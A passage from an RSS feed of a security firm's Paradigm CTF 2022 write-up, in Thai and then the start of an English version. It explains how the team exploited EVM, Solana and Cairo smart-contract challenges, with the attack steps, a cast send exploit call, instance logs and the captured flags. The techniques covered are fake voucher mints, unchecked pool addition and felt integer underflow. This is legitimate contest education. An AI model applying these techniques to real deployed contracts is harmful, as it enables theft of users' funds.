พร้อมกับ address ของ MerkleDistributor contract</p><pre>cast send  --rpc-url http://35.188.148.32:8545/8115689c-c95d-4c80-8193-77a2baa2649c --private-key 0x7f084c692be8719350ff7bcbe48565d21c1f4e6212df84a11680e4ba7723178a 0xDed2fA947ddD29B2da4dC5921a0D8bD0A0b4C53c &quot;exploit(address)&quot; -- 0x41daeba481da7cfaf2975439551cc784d35ce784</pre><p>เชื่อมต่อ server อีกครั้งเพื่อรับ flag</p><pre>$ nc 35.188.148.32 31337<br>1 - launch new instance<br>2 - kill instance<br>3 - get flag<br>action? 3<br>ticket please: c1102aa71c717aca338df7941f00f13cbd18448d5884e69a227beb9073e19e<br>PCTF{N1C3_Pr00F_8r0}</pre><p><strong>Flag:</strong> PCTF{N1C3_Pr00F_8r0}</p><h3>Solana</h3><h4>OTTER-WORLD</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*z_U-XdNoUKGUXPA6.png" /></figure><p><strong>CHALLENGE:</strong> OTTER-WORLD<br><strong>AUTHOR:</strong> NotDeGhost<br><strong>TAGS:</strong> SANITY-CHECK<br><strong>DESCRIPTION:</strong> Otter World!<br><strong>ACCESS:</strong> nc 34.72.24.70 8080<br><strong>RESOURCES:</strong><br><a href="https://github.com/paradigmxyz/paradigm-ctf-infrastructure">https://github.com/paradigmxyz/paradigm-ctf-infrastructure</a><br><a href="https://ctf.paradigm.xyz/resources/otter-world.tar.gz">https://ctf.paradigm.xyz/resources/otter-world.tar.gz</a></p><p>โจทย์ข้อนี้เป็นโจทย์ทดสอบเบื้องต้นสำหรับ Solana</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ct8ZrPTVtAjhvgti.png" /><figcaption><strong>main.rs</strong></figcaption></figure><p>เป้าหมายของข้อนี้คือการเรียก get_flag() function ด้วยค่า magic parameter ที่ถูกต้องซึ่งก็คือ 0x1337 * 0x7331</p><p>โดยในโจทย์มีการให้โครงสำหรับการเขียน script เพื่อแก้โจทย์ไว้เรียบร้อยแล้วดังนี้</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*J06kwISOqlEATb4Q.png" /><figcaption><strong>client/framework-solve/solve/programs/solve/src/lib.rs</strong></figcaption></figure><p>ตามที่มีโน้ตไว้ว่า /* TODO */ ที่บรรทัดที่ 22 เราสามารถเติม * 0x7331 เข้าไปเพื่อให้ตรงกับค่าของ magic ที่ต้องการได้เลย</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Z7uxU-7GwvMHHnba.png" /><figcaption><strong>client/framework-solve/solve/programs/solve/src/lib.rs</strong></figcaption></figure><p>หลังจากนั้น เราต้องไปแก้ไข IP address ของ server ที่เราจะไปเชื่อมต่อด้วย</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Ov1K06gLI_y_7gvO.png" /><figcaption><strong>client/framework-solve/src/main.rs</strong></figcaption></figure><p>และเมื่อรัน script ก็จะได้รับ flag กลับมา</p><pre>$ ./run.sh<br>...<br>congrats!<br>flag: &quot;PCTF{0tt3r_w0r1d_8c01j3}&quot;</pre><p><strong>Flag:</strong> PCTF{0tt3r_w0r1d_8c01j3}</p><h4>SOLHANA-1</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/987/0*r-MIR32ekV2BSon7.png" /></figure><p><strong>CHALLENGE:</strong> SOLHANA-1<br><strong>AUTHOR:</strong> hana (@dumbcontract2)<br><strong>TAGS:</strong> PWN<br><strong>DESCRIPTION:</strong> theres a brand new ponzi scheme in town that lets people deposit and withdraw their bitcoin. why would they want to do this? no one knows<br><strong>ACCESS:</strong> nc 35.188.83.0 3000<br><strong>RESOURCES:</strong><br><a href="https://github.com/paradigmxyz/paradigm-ctf-infrastructure">https://github.com/paradigmxyz/paradigm-ctf-infrastructure</a><br><a href="https://ctf.paradigm.xyz/resources/solhana-ctf.tar.gz">https://ctf.paradigm.xyz/resources/solhana-ctf.tar.gz</a></p><p>โจทย์ข้อนี้มีการให้ source code ของ server ที่ตรวจสอบ account state เพื่อเช็คว่าสามารถแก้โจทย์ได้ถูกต้องหรือไม่ โดยจะส่ง flag กลับมาเมื่อ account state ตรงตามเงื่อนไข</p><p><strong>File Structure</strong></p><ul><li>chain/: source code ของ Solana program ที่ใช้เป็นโจทย์ เราสามารถอ่านและวิเคราะห์ช่องโหว่ของโจทย์ได้จากไฟล์ในนี้</li><li>client/: โครงสำหรับการเขียน script เพื่อเชื่อมต่อไปที่ server และทำการโจมตี</li><li>elf/: ไฟล์โจทย์ Solana program ในรูปแบบ BPF binary ที่ถูก compile แล้ว สามารถใช้เพื่อทดสอบในฝั่ง local ได้โดยใช้ solana-test-validator</li><li>server/: ไฟล์ server ของโจทย์ที่ทำหน้าที่ setup ตัวโจทย์</li></ul><p>ข้อ SOLHANA-1 นี้คือ platform ที่เปิดให้ user สามารถมาฝากและถอน token ได้</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*5R2bAM8f0bHkgx8H.png" /><figcaption><strong>server/src/challenge.rs</strong></figcaption></figure><p>โดยเงื่อนไขที่จะผ่านข้อนี้ได้คือต้องทำให้ balance ของ deposit_account กลายเป็น 0</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ksP79Sd5YFM3v6Vh.png" /><figcaption><strong>server/src/challenge.rs</strong></figcaption></figure><p>ซึ่งในตอนแรก Satoshi จะ mint 10 Bitcoin และฝาก (ผ่าน deposit() function) ไปยัง deposit_account ดังนั้นเราจึงต้องเอา Bitcoin ส่วนนี้ออกจาก account ให้ได้</p><p>เราลองมาดูที่ Solana program ของโจทย์ว่า user สามารถทำอะไรได้บ้าง</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*1UHezKmcjdHaN_5E.png" /><figcaption><strong>chain/programs/challenge1/src/lib.rs</strong></figcaption></figure><ul><li>setup_for_player() — สร้าง state account ที่เก็บข้อมูลสำหรับ player</li><li>deposit() — ฝาก token จาก depositor account ไปยัง deposit account และ mint (สร้าง) voucher token ให้กับ depositor_voucher account.</li><li>withdraw() — ถอน token ที่ฝากไว้จาก deposit account กลับมาที่ depositor account และ burn (ทำลาย) voucher token จาก depositor_voucher account.</li></ul><p>โดยเราจะพอเดาได้ว่าการที่จะผ่านข้อนี้น่าจะต้องเล่นกับ deposit() และ withdraw() function เนื่องจาก 2 functions นี้จะทำให้ balance ของ account เปลี่ยนแปลงได้</p><p>โดยใน withdraw() function นั้นเราสามารถที่จะถอน Bitcoin ของออกไปให้คนอื่นได้ (ทำให้ balance เป็น 0) แต่ว่าจะมี requirement คือ จะต้องมี voucher token ใน depositor_voucher_account ก่อนเพื่อใช้สำหรับ burn ซึ่ง ณ ตอนนี้ player ไม่มี voucher token ใน account เลย</p><p>แล้วถ้าเกิดว่า เราสร้าง voucher ปลอมขึ้นมาล่ะ จะสามารถใช้ withdraw ได้่มั้ย เราลองมาดูที่ code ในส่วนที่ตรวจสอบ account กันว่า attack scenario ของเราสามารถทำได้หรือไม่</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*b6vLFXtG55z3EBfF.png" /><figcaption><strong>chain/programs/challenge1/src/lib.rs</strong></figcaption></figure><p>จาก code จะเห็นว่า ตัวโปรแกรมตรวจสอบแค่ว่า voucher_mint account มี mint::authority = state และ token::decimals = deposit_mint.decimals หรือไม่</p><p>ดังนั้นเราสามารถโจมตีได้ด้วยขั้นตอนต่อไปนี้</p><ol><li>สร้าง voucher program ปลอมขึ้นมาที่มีจำนวนทษนิยมเท่ากับ Bitcoin (6 decimals)</li><li>Mint อย่างน้อย 10 voucher ให้กับ player เพื่อใช้ในการ burn ระหว่างการถอน</li><li>โอน authority ของ account ไปให้ state account</li><li>ถอนเงินจาก deposit_account account โดยใช้ voucher ปลอมที่สร้างขึ้นมา</li></ol><p>โดย script การโจมตีที่ทางทีมใช้เพื่อผ่านโจทย์เป็นดังนี้</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*BRuWS6leuFX1dlT4.png" /><figcaption><strong>challenge1.js</strong></figcaption></figure><p>เมื่อรัน script ก็จะได้ flag ออกมา</p><pre>win! your flag is: PCTF{unsafe_voucher_vouched_vouchsafely}</pre><p><strong>Flag:</strong> PCTF{unsafe_voucher_vouched_vouchsafely}</p><h4>SOLHANA-2</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/857/0*IgNq6TZYT8p-n4Dc.png" /></figure><p><strong>CHALLENGE:</strong> SOLHANA-2<br><strong>AUTHOR:</strong> hana (@dumbcontract2)<br><strong>TAGS:</strong> PWN<br><strong>DESCRIPTION:</strong> theres a brand new ponzi scheme in town that lets people deposit and withdraw their ethereum. why would they want to do this? no one knows<br><strong>ACCESS:</strong> nc 35.188.83.0 3000<br><strong>RESOURCES:</strong><br><a href="https://github.com/paradigmxyz/paradigm-ctf-infrastructure">https://github.com/paradigmxyz/paradigm-ctf-infrastructure</a><br><a href="https://ctf.paradigm.xyz/resources/solhana-ctf.tar.gz">https://ctf.paradigm.xyz/resources/solhana-ctf.tar.gz</a></p><p>ในโจทย์ SOLHANA-2 นั้นจะเหมือนกับข้อ SOLHANA-1 เพิ่มเติมคือมี liquidity pool และ function swap แบบ AMM</p><p>เราได้แก้โจทย์ข้อนี้ผ่านการจำลองใน local แต่ด้วยเหตุผลบางอย่างทำให้ไม่สามารถแก้แบบเดียวกันเพื่อรับ flag จากฝั่ง server ได้ ทั้งนี้รายละเอียดต่อไปนี้จึงอาจจะไม่ตรงกับ intended solution แต่เราหวังว่ามันจะช่วยให้คุณเข้าใจโจทย์ข้อนี้มากขึ้น</p><p>เงื่อนไขในการผ่านข้อนี้คือต้องทำให้จำนวนรวม token ของทั้ง 3 pool จะต้องน้อยกว่าหรือเท่ากับ 150_000_000</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*VGF4C0WdMHmxwt96.png" /><figcaption><strong>server/src/challenge.rs</strong></figcaption></figure><p>โจทย์จะเริ่มต้นมาด้วย 3 liquidity token pool ไว้สำหรับทำการ swap โดยประกอบไปด้วย wo_eth (8 decimals), so_eth (6 decimals), and st_eth (8 decimals) และให้จำนวน token มา 100_000_000 ในแต่ละ pool account โดยสำหรับ player อย่างเราจะได้แค่ 1_000 ในแต่ละ account</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*2VZCMSpbJvQDuAne.png" /><figcaption><strong>server/src/challenge.rs</strong></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*1-IG5E-1ob-Z-TyW.png" /><figcaption><strong>server/src/challenge.rs</strong></figcaption></figure><p>เรามาเริ่มที่ function add_pool() และ swap()</p><p>ใน function add_pool() จะเพิ่ม pool ใหม่เข้าไปใน pool array ของ state account โดยไม่ได้ตรวจสอบว่าจะทับของเก่าที่มีอยู่หรือไม่ นี่อาจจะเป็นจุดที่ทำให้เกิดปัญหาในข้อนี้ก็เป็นได้</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*5VYdy0I6w2epr7oQ.png" /><figcaption><strong>add_pool()</strong></figcaption></figure><p>ส่วนใน function swap() นั้น ระหว่างการ swap token จะมีการ validate ตัว token amount ในกรณีที่ input และ output token มีจำนวน decimal ต่างกัน และ pool account ที่ส่งเข้ามาจะต้องมีอยู่ใน pool array ของ state account จากนั้นจะโอน input token ไปที่ pool account แล้วจึงโอน output token จาก pool account กลับไปให้ user</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Gpi7dW15HuJBI1eo.png" /><figcaption><strong>swap()</strong></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*jBx5NgAxYKmVodhe.png" /><figcaption><strong>Swap struct</strong></figcaption></figure><p>อ่านมาถึงตรงนี้ก็สงสัยขึ้นมาว่า ถ้าเราเรียก function add_pool() เพื่อทำการ add fake token (8 decimals) เข้าไปใน pool array ของ state account ซึ่งจะส่งผลให้เราสามารถที่จะ swap fake token เป็น token อื่นได้ โดยเราจะต้อง mint fake token ให้ player ด้วยเพื่อนที่จะมี balance ไป swap</p><p>จากนั้นก็เรียก function swap() เพื่อ swap fake token ของเราเป็น token อื่นทั้งหมด ในที่นี้จะเป็น token wo_eth และ token st_eth ซึ่งจะส่งผลให้เราดึงจำนวน token ทั้งหมด ออกจาก pool account ดังนั้น ยอดจำนวนรวม token ในแต่ละ pool จะเป็น 0 (wo_eth), 100_000_000 (so_eth), 0 (st_eth) และผลรวมจะมีค่าเท่ากับ 100_000_000 ซึ่งน้อยกว่า 150_000_000 ตรงตามที่โจทย์ต้องการ</p><p>เราเขียน script ด้านล่างเพื่อแก้โจทย์ข้อนี้และทดสอบบน local</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*_sI3_IHqS-1khXU5.png" /><figcaption><strong>challenge2.js</strong></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*eIE3RDBMZRDVD43F.png" /><figcaption><strong>challenge2.js</strong></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*FQXK7lZXJ2FD95yX.png" /><figcaption><strong>challenge2.js</strong></figcaption></figure><h3>Cairo</h3><h4>RIDDLE-OF-THE-SPHINX</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/990/0*ik3-LSUqxOagAJki.png" /></figure><p><strong>CHALLENGE:</strong> RIDDLE-OF-THE-SPHINX<br><strong>DESCRIPTION:</strong> What walks on four legs in the morning, two legs in the afternoon, three legs in the evening, and no legs at night?<br><strong>ACCESS:</strong> nc 35.193.19.12 31337<br><strong>RESOURCES:</strong><br><a href="https://github.com/paradigmxyz/paradigm-ctf-infrastructure">https://github.com/paradigmxyz/paradigm-ctf-infrastructure</a><br><a href="https://ctf.paradigm.xyz/resources/riddle-of-the-sphinx.zip">https://ctf.paradigm.xyz/resources/riddle-of-the-sphinx.zip</a></p><p>โจทย์ข้อนี้เป็นโจทย์ทดสอบเบื้องต้นสำหรับ Cairo (Starknet) โดยจะมีไฟล์ riddle.cairo และ chal.py มาให้ดังต่อไปนี้</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*QX47gynMD_gyjydc.png" /><figcaption><strong>riddle.cairo</strong></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*FPlBAMimZ1doTKZs.png" /><figcaption><strong>chal.py</strong></figcaption></figure><p>โดยการที่จะผ่านข้อนี้ไป เราจะต้องเซ็ตค่า _solution ให้เป็น “man” (0x6d616e) ตามที่มีการเช็คใน function checker ใน chal.py</p><p>เมื่อรู้เป้าหมายของโจทย์แล้วเราจึงทำการสร้าง instance ของโจทย์และเขียน script โดยในที่นี้เราจะใช้ “starknet.py” เพื่อเรียก function solve() ด้วยค่า 0x6d616e</p><pre>$ nc 35.193.19.12 31337<br>1 - launch new instance<br>2 - kill instance<br>3 - get flag<br>action? 1<br>ticket please: c1102aa71c717aca338df7941f00f13cbd18448d589aec9d3b74eb976eea8b<br>[+] deploying riddle</pre><pre>your private blockchain has been deployed<br>it will automatically terminate in 30 minutes<br>here&#39;s some useful information<br>uuid:           b05e6d76-d572-4fe6-9d91-8c13e9ec39f7<br>rpc endpoint:   http://b05e6d76-d572-4fe6-9d91-8c13e9ec39f7@35.193.19.12:5050<br>private key:    0x5544e5e246a2527f6d7ab7dabdcf24cd<br>contract:       0x51c0e03e96c6a8073c5a83b4975c0a6b801e72cc466e0a0b73f63832238e836</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*WHzxyC4ad9-GaH2Z.png" /><figcaption><strong>solveRiddle.py</strong></figcaption></figure><p>หลังจากรัน script แล้วเราก็จะสามารถ connect กลับไปที่ server อีกครั้งเพื่อรับ flag ของข้อนี้ได้</p><pre>$ python3 solveRiddle.py<br>$ nc 35.193.19.12 31337<br>running until complete<br>1 - launch new instance<br>2 - kill instance<br>3 - get flag<br>action? 3<br>ticket please: c1102aa71c717aca338df7941f00f13cbd18448d588ae2813b78a39574ed9a30ef1a<br>PCTF{600D_1UCK_H4V3_FUN}</pre><p><strong>Flag:</strong> PCTF{600D_1UCK_H4V3_FUN}</p><h4>CAIRO-PROXY</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*MGOULQVqG0rnJXaB.png" /></figure><p><strong>CHALLENGE:</strong> CAIRO-PROXY<br><strong>DESCRIPTION:</strong> Just a simple proxy contract<br><strong>ACCESS:</strong> nc 35.226.167.223 31337<br><strong>RESOURCES:</strong><br><a href="https://github.com/paradigmxyz/paradigm-ctf-infrastructure">https://github.com/paradigmxyz/paradigm-ctf-infrastructure</a><br><a href="https://ctf.paradigm.xyz/resources/cairo-proxy.zip">https://ctf.paradigm.xyz/resources/cairo-proxy.zip</a></p><p>โจทย์ข้อนี้จะมีไฟล์ Cairo ทั้งหมด 3 ไฟล์มาให้ ประกอบไปด้วย:</p><ul><li>almost_erc20.cairo: ERC20 token implement ด้วย Cairo</li><li>proxy.cairo: proxy contract ใช้เพื่อเรียก function ใน implementation contract ผ่าน fallback function โดย state ต่าง ๆ จะถูกเก็บใน proxy contract</li><li>utils.cairo: utility contract ที่มี function ในการเขียนและอ่าน storage โดยตรง</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*3J1wCn5489kWqtr_.png" /><figcaption><strong>proxy.cairo</strong></figcaption></figure><p>เมื่อเราลอง compile proxy.cairo contract แล้วจะเห็นว่า function auth_write_storage() นั้นได้ถูก import เข้ามาด้วยจาก utils.cairo contract ด้วย ทำให้เรา สามารถเขียนข้อมูลลงไปใน storage ไหนก็ได้</p><pre>$ starknet-compile proxy.cairo --output proxy_compiled.json --abi proxy_abi.json</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/766/0*nYXSBHjfNqaQXE4N.png" /><figcaption><strong>proxy_abi.json</strong></figcaption></figure><p>จากไฟล์ chal.py จะเห็นว่าเป้าหมายของเราคือการทำให้ balance ของ player เท่ากับ 50000e18</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*_TJzi7fpOPZJazsN.png" /><figcaption><strong>chal.py</strong></figcaption></figure><p>จากนั้น ทำการสร้าง instance และ เขียน script เรียก function auth_write_storage() เพื่อทำการเซ็ตค่า balance ของ player ให้เป็น 50000e18</p><pre>$ nc 35.226.167.223 31337<br>1 - launch new instance<br>2 - kill instance<br>3 - get flag<br>action? 1<br>ticket please: c1102aa71c717aca338df7941f00f13cbd18448d589aec9d3b74eb976eea8b<br>[+] deploying erc20<br>[+] deploying proxy<br>[+] initializing contracts</pre><pre>your private blockchain has been deployed<br>it will automatically terminate in 30 minutes<br>here&#39;s some useful information<br>uuid:           ad90e214-daa1-4d8a-84a7-07d5e19cbb88<br>rpc endpoint:   http://ad90e214-daa1-4d8a-84a7-07d5e19cbb88@35.226.167.223:5050<br>private key:    0xb9ead7dbeea0bc762872eb4151beb545<br>contract:       0x4a1002d5de3333850793db0d87b2f129f9363981dbd29b0c96d38c7b71d1d6c</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*diOReYWtdL8G4h0k.png" /><figcaption><strong>solveCairoProxy.py</strong></figcaption></figure><p>หลังจากรัน script แล้วก็จะสามารถเชื่อมต่อเพื่อเข้าไปรับ flag ของข้อนี้ได้</p><pre>$ python3 solveCairoProxy.py<br>Done!<br>$ nc 35.226.167.223 31337<br>1 - launch new instance<br>2 - kill instance<br>3 - get flag<br>action? 3<br>ticket please: c1102aa71c717aca338df7941f00f13cbd18448d589aec9d3b74eb976eea8b<br>PCTF{d3f4u17_pu811c_5721k35_4941n}</pre><p><strong>Flag:</strong> PCTF{d3f4u17_pu811c_5721k35_4941n}</p><h4>CAIRO-AUCTION</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/962/0*a0eftS6SPxmBy8Nl.png" /></figure><p><strong>CHALLENGE:</strong> CAIRO-AUCTION<br><strong>AUTHOR:</strong> BitBaseBit, and Mauricio Perdomo<br><strong>TAGS:</strong> PWN<br><strong>DESCRIPTION:</strong> Just a simple auction contract<br><strong>ACCESS:</strong> nc 34.132.254.35 31337<br><strong>RESOURCES:</strong><br><a href="https://github.com/paradigmxyz/paradigm-ctf-infrastructure">https://github.com/paradigmxyz/paradigm-ctf-infrastructure</a><br><a href="https://ctf.paradigm.xyz/resources/cairo-auction.zip">https://ctf.paradigm.xyz/resources/cairo-auction.zip</a></p><pre>nc 34.132.254.35 31337<br>running until complete<br>1 - launch new instance<br>2 - kill instance<br>3 - get flag<br>action? 1<br>ticket please: c1102aa71c717aca338df7941f00f13cbd18448d588ae2813b78a39574ed9a30ef1a<br>[+] deploying erc20<br>[+] deploying auction<br>[+] initializing contracts</pre><pre>your private blockchain has been deployed<br>it will automatically terminate in 30 minutes<br>here&#39;s some useful information<br>uuid:           be377312-17e7-46f0-9ca3-441954bf8fb4<br>rpc endpoint:   http://be377312-17e7-46f0-9ca3-441954bf8fb4@34.132.254.35:5050<br>private key:    0x4a854d8b84ad09278aa8ecb7a156062e<br>contract:       0x7f76a540c6f4984db2b292cbfb49573c2765fb9076d61ff82225e536df1e912</pre><p>โจทย์ข้อนี้จะเป็นการจำลอง auction platform ด้วย Cairo โดยเป้าหมายคือเป็นผู้ชนะการประมูลให้ได้ จากไฟล์ chal.py จะเห็นได้ว่ามีการจำลองผู้เข้าร่วมประมูลคนอื่นอีก 2 คนที่เสนอราคาที่ 100000e6 tokens ในขณะที่โจทย์ได้เตรียมไว้ให้เราแค่ 50000e6 tokens</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ShQBJY-E5kA-GNjh.png" /><figcaption><strong>chal.py</strong></figcaption></figure><p>จะเป็นผู้ชนะการประมูลได้จะต้องเรียก function raise_bid() เพื่อให้ new_balance มีค่ามากกว่า winning_bid ปัจจุบัน</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*iTLSu9uDnBTKcY5P.png" /><figcaption><strong>auction.cairo</strong></figcaption></figure><p>ในขณะที่ function unlock_funds() มีไว้เพื่อปลดล็อคเงินที่ใช้ประมูล โดยไปจะหักลบจำนวนในกระเป๋าประมูลหรือค่า _auctionBalances</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*X5t_ehQ1iMnop1GE.png" /><figcaption><strong>auction.cairo</strong></figcaption></figure><p>แต่ว่า Uint256 ใน Cairo คือ struct ของ felt 2 ตัว (<a href="https://github.com/starkware-libs/cairo-lang/blob/master/src/starkware/cairo/common/uint256.cairo#L9-L14">https://github.com/starkware-libs/cairo-lang/blob/master/src/starkware/cairo/common/uint256.cairo#L9-L14</a>) โดยค่า felt ใน Cairo เป็นค่า Integer ที่สามารถ เป็นค่าติดลบได้หากไม่มีการตรวจสอบให้ดี</p><p>หากเราทำการเรียก function unlock_funds() โดยใส่ amount เป็นค่าติดลบ -100000000001 เพื่อที่จะเพิ่มค่า _auctionBalances (ลบด้วยค่าติดลบจะเป็นการบวก) ให้มากกว่า winning_bid ปัจจุบัน<br>หลังจากนั้นก็ทำการเรียก function raise_bid() ด้วยค่า 0 จะเป็นการเสนอเงินเพิ่ม 0 แต่ในเมื่อค่า _auctionBalances ของเราได้เพิ่มเป็น 100000000001 ไปแล้วจะทำให้เราชนะการประมูลได้</p><p>เมื่อรู้ดังนี้เราจึงสร้าง instance และทำการเขียน script ตามที่คิดไว้โดยค่า -100000000001 จะมีค่าเท่ากับ max felt (2**251+17*2**192+1) ลบด้วย 100000000001 แล้วเซ็ตไปใน low bit ของ Uint256 amount</p><pre>$ nc 34.132.254.35 31337<br>running until complete<br>1 - launch new instance<br>2 - kill instance<br>3 - get flag<br>action? 1<br>ticket please: c1102aa71c717aca338df7941f00f13cbd18448d588ae2813b78a39574ed9a30ef1a<br>[+] deploying erc20<br>[+] deploying auction<br>[+] creating bidders<br>[+] initializing contracts</pre><pre>your private blockchain has been deployed<br>it will automatically terminate in 30 minutes<br>here&#39;s some useful information<br>uuid:           be377312-17e7-46f0-9ca3-441954bf8fb4<br>rpc endpoint:   http://be377312-17e7-46f0-9ca3-441954bf8fb4@34.132.254.35:5050<br>private key:    0x4a854d8b84ad09278aa8ecb7a156062e<br>contract:       0x7f76a540c6f4984db2b292cbfb49573c2765fb9076d61ff82225e536df1e912</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*k8utLFssfbA7qJJd.png" /><figcaption><strong>solveCairoAuction.py</strong></figcaption></figure><pre>$ python3 solveCairoAuction.py<br>http://be377312-17e7-46f0-9ca3-441954bf8fb4@34.132.254.35:5050<br>StarknetChainId.TESTNET<br>player_address: 0x333c1ba254694947951f100334179aae6d42eb4d216d7de459e64b6c1668a35<br>My Auction Balance:  Result(balance=0)<br>Current Winner:  0x4b855e8f7aaa622adf4d7c0af1d13cfc0ff6c7b97450b527172e17a600ac227<br>Current Winner Auction Balance:  Result(balance=100000000000)<br>Unlock negative<br>My Auction Balance:  Result(balance=100000000001)<br>Raise bid<br>My Auction Balance:  Result(balance=100000000001)<br>Current Winner:  0x333c1ba254694947951f100334179aae6d42eb4d216d7de459e64b6c1668a35<br>Current Winner Auction Balance:  Result(balance=100000000001)</pre><pre>$ nc 34.132.254.35 31337<br>running until complete<br>1 - launch new instance<br>2 - kill instance<br>3 - get flag<br>action? 3<br>ticket please: c1102aa71c717aca338df7941f00f13cbd18448d588ae2813b78a39574ed9a30ef1a<br>PCTF{y0u_7h0u9h7_17_w45_4_p21m171v3_7yp3_8u7_17_w45_m3_d10}</pre><p><strong>Flag:</strong> PCTF{y0u_7h0u9h7_17_w45_4_p21m171v3_7yp3_8u7_17_w45_m3_d10}</p><h3>About Inspex</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*PUN9fjrWOVChSm9C.png" /></figure><p>Inspex is formed by a team of cybersecurity experts highly experienced in various fields of cybersecurity. We provide blockchain and smart contract professional services at the highest quality to enhance the security of our clients and the overall blockchain ecosystem.</p><p>For any business inquiries, please contact us via <a href="https://twitter.com/InspexCo">Twitter</a>, <a href="https://t.me/inspexco">Telegram</a>, <a href="/service/mailto:contact@inspex.co">contact@inspex.co</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ae7b6a86fcec" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Paradigm CTF 2022 Writeup]]></title>
            <link>https://inspexco.medium.com/paradigm-ctf-2022-writeup-2ce290cd9287?source=rss-587fa599ef08------2</link>
            <guid isPermaLink="false">https://medium.com/p/2ce290cd9287</guid>
            <category><![CDATA[blockchain]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[blockchain-security]]></category>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[Inspex]]></dc:creator>
            <pubDate>Mon, 29 Aug 2022 07:06:52 GMT</pubDate>
            <atom:updated>2022-08-31T05:49:18.504Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DKxGlbew6pgjKz5McJ0jAA.jpeg" /></figure><blockquote><strong>สำหรับเวอร์ชั่นภาษาไทย สามารถอ่านได้ที่:</strong> <a href="https://inspexco.medium.com/th-paradigm-ctf-2022-writeup-ae7b6a86fcec">https://inspexco.medium.com/th-paradigm-ctf-2022-writeup-ae7b6a86fcec</a></blockquote><p>Inspex team members participated in Paradigm CTF 2022 on the <strong>_C0FFEE</strong> team and ranked 15th from a total of 445 teams with a total score of 2,465.1.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*HHJ8s8x1EhciKcdv.png" /></figure><p>There were different types of smart contract challenges, including EVM, Solana, and Cairo, and we were having a great time solving these fun and challenging challenges.</p><p>We have solved a total of 11 challenges as follows:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/950/0*IS2v8L--zPWZ8v3K.png" /></figure><h4><a href="#a717">EVM</a></h4><p>∘ <a href="#5bea">RANDOM</a><br> ∘ <a href="#008c">Rescue</a><br> ∘ <a href="#3ddb">SOURCECODE</a><br> ∘ <a href="#e47d">Trapdooor</a><br> ∘ <a href="#b1c5">Merkledrop</a></p><h4><a href="#3e12">Solana</a></h4><p>∘ <a href="#c09d">OTTER-WORLD</a><br> ∘ <a href="#3b2b">SOLHANA-1</a><br> ∘ <a href="#67fd">SOLHANA-2 (Solved Locally)</a></p><h4><a href="#0b87">Cairo</a></h4><p>∘ <a href="#7768">RIDDLE-OF-THE-SPHINX</a><br> ∘ <a href="#1db6">CAIRO-PROXY</a><br> ∘ <a href="#fc60">CAIRO-AUCTION</a></p><p>On this CTF, Paradigm’s <a href="https://github.com/foundry-rs/foundry">foundry</a> was used extensively. We used it to test our exploits, trace transactions, deploy exploit contracts, call them, and send transactions.</p><p>Here’s our write-up for the challenges we have solved.</p><h3>EVM</h3><h4>RANDOM</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/959/0*D-173k2lQZ4l7rIY.png" /></figure><p><strong>CHALLENGE:</strong> RANDOM<br><strong>AUTHOR:</strong> Riley Holterhus<br><strong>TAGS:</strong> SANITY CHECK<br><strong>DESCRIPTION:</strong> I’m thinking of a number between 4 and 4<br><strong>ACCESS:</strong> nc 34.66.135.107 31337<br><strong>RESOURCES:</strong><br><a href="https://github.com/paradigmxyz/paradigm-ctf-infrastructure">https://github.com/paradigmxyz/paradigm-ctf-infrastructure</a><br><a 